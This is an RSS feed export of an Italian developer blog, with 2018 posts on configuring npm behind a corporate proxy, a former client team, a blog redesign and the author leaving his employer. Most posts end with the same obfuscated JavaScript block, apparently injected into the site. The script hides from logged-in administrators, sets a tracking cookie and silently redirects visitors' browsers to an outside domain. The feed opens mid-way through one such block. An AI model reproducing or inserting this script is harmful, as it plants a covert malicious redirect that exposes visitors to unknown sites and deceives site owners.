navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/10/26/utilizzare-git-dietro-ad-un-proxy-aziendale.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Utilizzare npm dietro ad un proxy aziendale</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/10/23/utilizzare-npm-dietro-ad-un-proxy-aziendale.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=utilizzare-npm-dietro-ad-un-proxy-aziendale</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/10/23/utilizzare-npm-dietro-ad-un-proxy-aziendale.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 23 Oct 2018 06:44:02 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3151</guid>

					<description><![CDATA[L&#8217;altro giorno ho voluto installare Angular CLI sul mio PC che utilizzo per lavorare, che è collocato dietro un proxy aziendale. Quindi, il tradizionale comando: npm install -g @angular/cli ovviamente non funziona, nel senso che dopo un certo timeout vi dà un errore perchè npm non riesce a scaricare i pacchetti indispensabili per avere Angular [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>L&#8217;altro giorno ho voluto installare Angular CLI sul mio PC che utilizzo per lavorare, che è collocato dietro un proxy aziendale. Quindi, il tradizionale comando:</p>
<pre>npm install -g @angular/cli</pre>
<p>ovviamente non funziona, nel senso che dopo un certo timeout vi dà un errore perchè npm non riesce a scaricare i pacchetti indispensabili per avere Angular ready-to-run. Come fare? E&#8217; necessario configurare npm, aggiungendo due parametri &#8220;proxy&#8221; e &#8220;https-proxy&#8221;, in questo modo:</p>
<pre>npm config set proxy url
npm config set https-proxy url</pre>
<p>Ovviamente al posto di &#8220;url&#8221; indicato l&#8217;IP del vostro proxy.<br />
Ed il gioco è fatto!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/10/23/utilizzare-npm-dietro-ad-un-proxy-aziendale.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Un team come pochi</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/10/12/un-team-come-pochi.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=un-team-come-pochi</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/10/12/un-team-come-pochi.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 12 Oct 2018 07:10:05 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3134</guid>

					<description><![CDATA[Nell&#8217;autunno del 2014 ho tenuto un corso che avrebbe impattato non poco nel mio lavoro nei mesi a venire. Solo che al momento non lo sapevo. Quella mattina arrivano tre figure: Davide, Sabrina ed Ivano. Ufficialmente avevano bisogno di un corso di architettura del software, implementata attraverso .NET Framework con C# attraverso un&#8217;applicazione desktop WPF. [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Nell&#8217;autunno del 2014 ho tenuto un corso che avrebbe impattato non poco nel mio lavoro nei mesi a venire. Solo che al momento non lo sapevo. <strong>Quella mattina arrivano tre figure: Davide, Sabrina ed Ivano.</strong> Ufficialmente avevano bisogno di un corso di architettura del software, implementata attraverso .NET Framework con C# attraverso un&#8217;applicazione desktop WPF. Il loro obiettivo, una volta terminato il corso, era buttare via una vecchia applicazione C++ scritta negli anni &#8217;90, che ormai stava diventando davvero antiquata ed ingestibile, per riscriverla con tecnologie più moderne ed al passo con i tempi.</p>



<p>Il corso è durato soltanto qualche giorno, al termine del quale è stata richiesta la mia collaborazione al progetto. <strong>Beh, alla fine abbiamo lavorato assieme per circa quattro anni.</strong> Io per la maggior parte del tempo lavoravo da casa, in autonomia; una volta al mese andavo in trasferta per un paio di giorni in sede, dal cliente, che è praticamente ad un tiro di schioppo dall&#8217;aeroporto di Malpensa. <strong>Quello che è saltato fuori alla fine di tutto è una bella applicazione Windows Presentation Foundation, con Model-View-ViewModel fatto come dio comanda, repository, separation of concerns, dependency injection, Entity Framework, unit-testing</strong>, etc. etc. Non voglio scendere nei dettagli, ma devo dire che è stata una bella sfida. Abbiamo inserito spunti di reflection e di Roslyn per la compilazione dinamica. Abbiamo utilizzato pesantemente i controlli Infragistics, in qualche caso ristilizzando molti componenti WPF per adattarli alla user experience voluta dal cliente. E&#8217; stato bello ed intenso, a tratti un po&#8217; complicato per la difficoltà di coordinamento tra gli sviluppi da fare e le altre mie attività a cui venivo assegnato.</p>



<figure class="wp-block-image"><img src="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/10/WhatsApp-Image-2018-09-10-at-17.29.48.jpeg" alt="" class="wp-image-3135" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/10/WhatsApp-Image-2018-09-10-at-17.29.48.jpeg 1600w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/10/WhatsApp-Image-2018-09-10-at-17.29.48-300x169.jpeg 300w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/10/WhatsApp-Image-2018-09-10-at-17.29.48-768x432.jpeg 768w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/10/WhatsApp-Image-2018-09-10-at-17.29.48-1024x576.jpeg 1024w" sizes="(max-width: 1600px) 100vw, 1600px" /><figcaption>Eccoci qua. Da sinistra verso destra: Davide M. &#8211; Sabrina P. &#8211; Ivano R.</figcaption></figure>



<p>Di loro tre ricordo con piacere il clima divertente e costruttivo con il quale si lavorava, tutti i pranzi nella mensa aziendale, le serate al pub, la serata in pizzeria per festeggiare il mio compleanno. Ricordo una serata particolare con Davide passata da un pub all&#8217;altro, quando poi mi riaccompagnò in hotel alle ore 2:00: ed il giorno dopo eravamo tutti e due belli pimpanti davanti al nostro codice C#. Ricordo il supporto logistico di Davide quando squarciai la gomma della mia Honda Civic in una delle mie mattine in trasferta, andando a sbattere come un perfetto idiota contro un marciapiede di Cardano al Campo (Varese).</p>



<p>Adesso, avendo io cambiato azienda e ruolo, li ho abbandonati. Il prossimo software che dovranno scrivere (ho partecipato ad una prima analisi ed alla stesura di un prototipo funzionante) lo dovranno fare da soli, ma so per certo che sarà migliore del primo che abbiamo scritto assieme.</p>



<p>Ciao Davide! Ciao Sabrina! Ciao Ivano! In bocca al lupo!</p>
<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script><div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/10/12/un-team-come-pochi.aspx/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Ogni era ha il suo reborn</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/10/08/ogni-era-ha-il-suo-reborn.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ogni-era-ha-il-suo-reborn</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/10/08/ogni-era-ha-il-suo-reborn.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 08 Oct 2018 14:52:45 +0000</pubDate>
				<category><![CDATA[My daily work]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3110</guid>

					<description><![CDATA[Il mio primo blog su quello pubblicato su UGIdotNET, all&#8217;indirizzo http://blogs.ugidotnet.org/idamiani. Era gestito da .TEXT, se non ricordo male, e si chiamava Technology Experience. Poi, nell&#8217;aprile del 2007, mi staccai da UGIdotNET e diedi vita al mio blog indipendente, pubblicato attraverso il mio dominio vivendobyte.net, e lo rinominai come Technology Experience (reborn). Questo è il [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Il mio primo blog su quello pubblicato su UGIdotNET, all&#8217;indirizzo <a href="http://blogs.ugidotnet.org/idamiani" target="_blank" rel="noopener">http://blogs.ugidotnet.org/idamiani</a>. Era gestito da .TEXT, se non ricordo male, e si chiamava <strong>Technology Experience</strong>. Poi, nell&#8217;aprile del 2007, mi staccai da UGIdotNET e diedi vita al mio blog indipendente, pubblicato attraverso il mio dominio vivendobyte.net, e lo rinominai come <strong>Technology Experience (reborn)</strong>. Questo è il blog che continuate a leggere anche oggi. Nei mesi e negli anni a venire ho aprofittato dei miei piccoli e grandi cambiamenti  lavorativi per incrementare il lato <em>reborn</em>.</p>



<p>Non ricordo esattamente l&#8217;evento scatenante che mi portò ad inserire <strong>reborn 2</strong> nel titolo. E non ricordo neppure <strong>reborn 3</strong> e <strong>reborn 4</strong>. Gli ultimi anni sono stati troppo frenetici, probabilmente.</p>



<p class="has-background has-very-dark-gray-color has-vivid-green-cyan-background-color">Oggi il mio blog diventa <strong>reborn 5</strong>.</p>



<p>Questo incremento è dovuto al cambiamento lavorativo di cui vi ho raccontato nel mio ultimo post. Nuovo stile, grafica leggermente rifatta, nuovo tema (che a quanto pare è anche responsive, per cui su dispositivi mobile non dovreste più avere gli stessi problemi di prima).</p>



<p>Beh, buona lettura!</p>
<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script><div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/10/08/ogni-era-ha-il-suo-reborn.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Ciao Brain-Sys, e grazie per questo viaggio</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/09/28/ciao-brain-sys-e-grazie-per-questo-viaggio.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ciao-brain-sys-e-grazie-per-questo-viaggio</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/09/28/ciao-brain-sys-e-grazie-per-questo-viaggio.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 28 Sep 2018 07:20:43 +0000</pubDate>
				<category><![CDATA[My daily work]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3063</guid>

					<description><![CDATA[Ebbene sì, lunedì prossimo, il 1° ottobre 2018, comincerò a lavorare per una nuova azienda, lasciando Brain-Sys che mi ha accompagnato negli ultimi otto anni della mia vita personale e professionale. E&#8217; stato un lunghissimo e meraviglioso viaggio, cominciato nel lontano gennaio del 2010, quando ero un tipo molto molto diverso. Sapete qual è la [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Ebbene sì, lunedì prossimo, il 1° ottobre 2018, comincerò a lavorare per una nuova azienda, lasciando Brain-Sys che mi ha accompagnato negli ultimi otto anni della mia vita personale e professionale. E&#8217; stato un lunghissimo e meraviglioso viaggio, cominciato nel lontano gennaio del 2010, quando ero un tipo molto molto diverso. Sapete qual è la cosa che mi lascia più amareggiato? Oggi sono qui a scrivere il finale di questa storia, ma all&#8217;epoca non riuscii a scriverne l&#8217;inizio, semplicemente per il fatto che in quel periodo il mio blog era offline causa malfunzionamenti dell&#8217;hosting provider a cui affidavo le mie memorie in quel periodo. Me ne sono ricordato qualche settimana fa, quando ho cercato sui motori di ricerca qualche traccia dell&#8217;Igor Damiani dell&#8217;epoca: <a href="http://blog.vivendobyte.net/blog/archive/2010/04/09/la-brain-sys-siamo-noi-e-siamo-qui.aspx" target="_blank">l&#8217;unico articolo interessante che ho trovato è questo</a>, scritto solo nell&#8217;aprile del 2010. Un po&#8217; troppo poco, l&#8217;inizio di questa avventura meritava qualcosa di più.<br/>Quindi&#8230;scriviamolo adesso.</p>



<p><strong>L&#8217;inizio di tutto: estate 2009</strong><br/>Beh, dunque, per me che l&#8217;ho vissuto in prima persona, non è difficile ricordare quei tempi, e soprattutto le decisioni che mi hanno portato, alla fine, ad entrare nella famiglia di Brain-Sys. Alla fine del 2009 mi trovavo in uno stato lavorativamente parlando piuttosto depresso. Avevo ancora la mia partita iva, ero il classico consulente che veniva sbalzato da un&#8217;azienda all&#8217;altra, a fare brevi consulenze di qualche settimana o di qualche mese di qua e di là. Un po&#8217; C#, un po&#8217; VBA, un po&#8217; SQL Server ed un po&#8217; di Oracle, ero in balìa degli eventi. Sentivo di non avere il controllo sulle mie giornate, sul mio tempo e sull&#8217;andazzo delle cose. Sentivo, insomma, di non avere più in mano il pallino della mia vita, nè il coltello dalla parte del manico. Forse la goccia che ha fatto traboccare il tutto è caduta nei mesi di giugno/luglio di quell&#8217;anno, quando l&#8217;azienda per la quale lavoravo mi aveva collocato da un cliente nell&#8217;hinterland milanese, in mezzo al niente, a portare a termine un lavoro per il quale non avevo alcuna aspirazione e che mi faceva soffrire fisicamente. Tanto stress, tanti dolori cervicali, tanti viaggi e tante code in macchina, soddisfazione praticamente azzerata. Per come la vedo io, un vero incubo. Di quell&#8217;estate ricordo altre due cose: la morte di Michael Jackson e la frequentazione con una donna più grande di me che mi faceva ammattire. Due vicende tristi, no? Quando ad inizio agosto andai in ferie, nella mia amata Puglia, ero decisissimo a mollare tutto, a mollare il mondo dello sviluppo software ed a ricominciare daccapo con altro. <a href="http://blog.vivendobyte.net/blog/archive/2009/06/12/ot-del-venerdi-5.aspx" target="_blank">Provate a leggere i punti 8, 12, 15 di questo elenco pubblicato nell&#8217;OT del Venerdì (5).</a></p>



<p>Beh, insomma, cosa è accaduto, alla fine? Qui sinceramente i ricordi sono un po&#8217; sfocati e confusi. Al rientro dalle ferie ho incontrato riluttante Gabriele Gaggi ed Alessandra Maggi <a href="https://www.tripadvisor.it/Restaurant_Review-g187850-d2277348-Reviews-Hayashi-Pavia_Province_of_Pavia_Lombardy.html" target="_blank">ad un giapponese a Pavia</a>, abbiamo chiaccherato un po&#8217; e &#8211; per farla breve &#8211; ho cominciato a lavorare per Brain-Sys, prima come consulente fino a fine 2009, e poi come dipendente dal gennaio 2010. Avevo una mia vita, in qualche modo bisogna pur tirare avanti. All&#8217;inizio ero molto molto titubante, soprattutto per l&#8217;assunzione. Amavo l&#8217;indipendenza che la mia partita iva mi concedeva. La mia preoccupazione più grande era il fatto che non volevo assolutamente rimettermi a fare tutti i giorni la tratta Lodi-Milano &amp; ritorno. La promessa dell&#8217;epoca, pienamente mantenuta, era il fatto che con Brain-Sys avrei potuto lavorare da casa praticamente tutti i giorni, tranne una trasferta al mese da un grosso cliente che seguivamo all&#8217;epoca.<br/>Come dicevo un attimo fa: promessa mantenuta al 100%.</p>



<p><strong>Il durante: dal 2010 al 2018</strong><br/>E&#8217; difficile riassumere otto anni di storia in una manciata di righe. So solo che è stato un viaggio lungo ed entusiasmante. Ho incontrato tante nuove persone, abbiamo scritto qualche software interessante. Applicazioni desktop, applicazioni mobile, ho messo persino le mani su progetti web. Sono migliorato sotto tantissimi punti di vista, sia personali che professionali. Un aspetto importante, probabilmente, è stata la collaborazione con <a href="https://overneteducation.it/" target="_blank" rel="noopener">Overnet Education</a>, che mi ha portato in giro per l&#8217;Italia a parlare delle tecnologie che conosco ed amo di più: .NET Framework, C#, Visual Basic .NET, WPF, WCF, Windows Phone, UWP, Entity Framework, e molto altro ancora. Ho tenuto corsi più teorici ed altri più pratici, con un paio di partecipanti oppure con intere classi di quasi 20 persone. Ho tenuto corsi di pochi giorni fino a gestire intere academy di diverse settimane. Mai e poi mai avrei pensato di parlare in pubblico in vita mia. Avrò sempre un posticino nel cuore per tutti quei ragazzi neolaureati provenienti da tutta Italia che &#8211; come dicevo io scherzando &#8211; ho formattato, nel senso che ho tentato di infondere loro tutte le mie conoscenze sul mondo della programmazione ad oggetti. Qualcuno di loro l&#8217;ho incontrato poi nei mesi successivi, in metropolitana o in giro per Milano. Qualcuno lavora in questo meraviglioso mondo dell&#8217;IT, qualcuno ha cambiato, altri sono tornati a casa loro e fanno tutt&#8217;altro. Con i corsi ho visitato tantissimi posti. In ordine sparso: Barcellona in Spagna, Cuneo, Pesaro, Torino, Brescia, la Valtellina, Verona, Trieste, Padova, Bergamo, Bologna, Roma, Bari, Modena, Rimini, Venezia, Imola, Trento, Genova, me ne starò dimenticando qualcuna e senza contare le tantissime altre cittadine e paesi di provincia, senza contare Milano ed il suo sterminato hinterland. Ho visitato San Polo d&#8217;Enza, il paese dove il 27 febbraio 1797 ha sventolato il primo tricolore italiano, nato il 7 gennaio a Reggio Emilia. Ho visitato grosse multinazionali italiane, ed ho incontrato tantissimi giovani e meno giovani sviluppatori di software. Spesso i più in gamba li ho trovati nelle piccole software-house, dove ti devi fare in quattro per risolvere i problemi e consegnare un prodotto al cliente. Comunque sia, tenere corsi e spiegare ciò che so è una delle cose che amo di più.</p>



<p>Grazie a Brain-Sys per la fiducia nei miei confronti nell&#8217;home-working, esperienza incredibilmente appagante che tutti dovrebbero provare, ma non prima di aver lavorato seriamente in modo tradizionale in un ufficio. Devi essere autonomo, conoscere bene il tuo lavoro, conoscere le tecnologie, essere capace di prendersi cura del cliente. Altrimenti è solo tempo perso.</p>



<p>Grazie a Brain-Sys per avermi permesso di partecipare alle giornate community e non, dal Basta Italia del 2010 a Roma (rimasi bloccato nella capitale un giorno in più <a href="http://www.meteoweb.eu/foto/accadde-oggi-leruzione-del-vulcano-islandese-eyjafjoll-paralizza-traffico-aereo-mondiale/id/889405/#1" target="_blank">per via del vulcano islandese che bloccò i voli di tutta Europa</a>), agli eventi qua e là, comprese un paio di edizioni a WPC, durante le quali ho fatto anche lo speaker. Grazie per il corso sul public speaking a Bergamo, per tutti i venerdì di ferie presi per raggiungere Lecce, per la gestione agile di ferie, permessi e giornate dedicate alla donazione AVIS.</p>



<p><strong>Qualche aneddoto</strong><br/>Il più posto più strano in cui l&#8217;ho fatto. Ho scritto righe di codice a Barcellona, presso un cantiere in costruzione, con il notebook appoggiato tra enormi bombole di gas piene fino all&#8217;orlo.</p>



<p>Il primo corso. Su Visual Basic .NET, nell&#8217;autunno del 2013, ad un ragazzo presso l&#8217;NH Hotel ad Assago (dove si tiene WPC, per capirci). Lo ricordo perfettamente, perchè si sarebbe sposato da lì a qualche settimana, avrebbe fatto il viaggio di nozze in Giappone ed ha fatto di tutto per convincere anche me a fare altrettanto. Non ce la farà mai.</p>



<p>Il complimento più bello. &#8220;Igor, ci hai fatto uscire da Matrix&#8221;. Corso su WPF tenuto a Bologna questa estate. Beh, non è merito mio. Il merito è vedere cosa permette di fare lo XAML combinato con .NET Standard e MVVM. Non perdete tempo a cercare di farmi cambiare idea, non ce la fate. Tanti di voi ormai sbroccano e parlano solo di bot &amp; cloud. Lasciate stare, che è meglio.</p>



<p>La figuraccia. Ricordo due episodi spiacevoli. Un corso a Verona sull&#8217;architettura sviluppata con .NET, quando tutti i partecipanti erano sviluppatori in Java. Me la sono cavata, alla fine l&#8217;architettura è l&#8217;architettura, ma me la sono vista così così. L&#8217;altro episodio è avvenuto a Cesano Boscone, e non posso raccontarlo; diciamo che un tizio ha messo in dubbio la mia preparazione sull&#8217;argomento, e diciamo che aveva ragione al 50%.</p>



<p>Il posto più brutto in cui ho dormito. Un B&amp;B a Bari, a 50 metri dallo stadio San Nicola. Mai più.</p>



<p>L&#8217;ultimo corso. Lo sto tenendo oggi. A Carpi, su C#, in un&#8217;azienda amica che ho già visitato in passato. Partecipanti: 4.</p>



<p>Il corso più noioso. Su Xamarin Forms, a Trento.</p>



<p>Il corso più divertente. Su Xamarin Forms, a Bari.</p>



<p>Software di chat utilizzati. GTalk, Skype, Messenger, Facebook Messenger, Skype for Business, Teams. Altri?</p>



<p><strong>La fine: estate 2018</strong><br/>Brain-Sys è stata capace di prendere un Igor sconsolato, stressato e depresso, e l&#8217;ha rivitalizzato. Ecco che cos&#8217;è Brain-Sys. Dal mio punto di vista è una piccola famiglia che è stata capace di adattarsi, di resistere e di non soccombere miseramente durante gli anni più severi della crisi economica. Un grazie mille a tutti è ovviamente scontato. Non voglio fare nomi per non dimenticare nessuno. Grazie per tutti questi anni, grazie alle mie colleghe ed ai miei colleghi, grazie a chi mi ha accolto in casa sua come fossi un caro amico, grazie per le chiaccherate e per gli sfoghi. Come tutte le famiglie, ci sono aspetti positivi e meno positivi, ma che non toglie nulla a tutto ciò che di buono abbiamo fatto, costruito e realizzato. Grazie davvero.</p>



<p>Non è mia intenzione discutere qua dei motivi che mi hanno portato alla decisione di lasciare Brain-Sys. Tre forse sono state le cause scatenanti: il mio trasferimento, l&#8217;arrivo di Federica nella mia quotidianità e, dulcis in fundo, la stanchezza dell&#8217;essere troppo spesso in giro per l&#8217;Italia. Posso affermare che la cosa più bella che mi sia capitata in Brain-Sys, ovvero tenere corsi, è anche quella che alla fine ha fatto pendere l&#8217;ago della bilancia verso il &#8220;No, così non puoi andare avanti&#8221;. E&#8217; stata una decisione presa con un mix di cuore &amp; raziocinio e con voglia di vedere al futuro. Tutto è avvenuto in modo estremamente rapido durante il mese di luglio ed agosto, proprio a ridosso delle ferie estive. E così è stato. Alè.<br/>Ciao Brain-Sys. Sei stata un&#8217;ottima nave.<br/>E&#8217; l&#8217;inizio di una nuova avventura.</p>



<p><strong>Epilogo</strong><br/>Sapete, quando vivete accanto o all&#8217;interno di una grande città come Milano, avete quasi una visione distorta della realtà. Milano è Milano, e con il resto dell&#8217;Italia per certi versi non c&#8217;entra proprio nulla. E&#8217; come un&#8217;isola separata, con le sue regole frenetiche e la sua evoluzione. Quindi in metropolitana o per strada, per esempio, potreste vedere ragazzini e ragazzine di &#8220;soli&#8221; 10 anni vestiti alla moda, con lo smartphone in mano, immersi nel loro mondo virtuale. Li vedrete magari atteggiarsi da adulti, imitando o vestendosi come il loro cantante pop o rap preferito. Li sentirete parlarsi nel loro slang, a tratti moderno, violento o volgare. Non ho idea se sia davvero così, ma a me danno proprio l&#8217;impressione di avere poco senso della realtà che li circonda. Magari sto invecchiando io.<br/>Viaggiare per la nostra penisola &#8211; soprattutto il nord ma non solo &#8211; mi ha fatto capire che la vera Italia, quella sana e genuina, è lontana dalle grande metropoli. Visitando la provincia italiana ho visto ragazzi di 15 anni girare con la bicicletta sgommando e ridendo; ho sentito giovani ragazzi parlare con la loro nonna lamentandosi delle loro coetanee perchè &#8220;sono vestite tutte uguali con quel cavoli di shorts di jeans&#8221;. Ho visto ragazzi vestiti così come capitava, e ragazze della porta accanto, con gli smartphone messi da parte. Insomma, la parte più autentica si trova lì, ben nascosta e protetta tra le nostre colline, montagne, laghi e pianure, lontano dal fragore delle grandi città impazzite. Quei ragazzi e quelle ragazze mi hanno dato speranza.<br/>Sono giunto alla conclusione che i Goonies non sono estinti, ma esistono anche oggi, anche nel 2018. Basta saperli trovare, un po&#8217; come l&#8217;A-Team.</p>
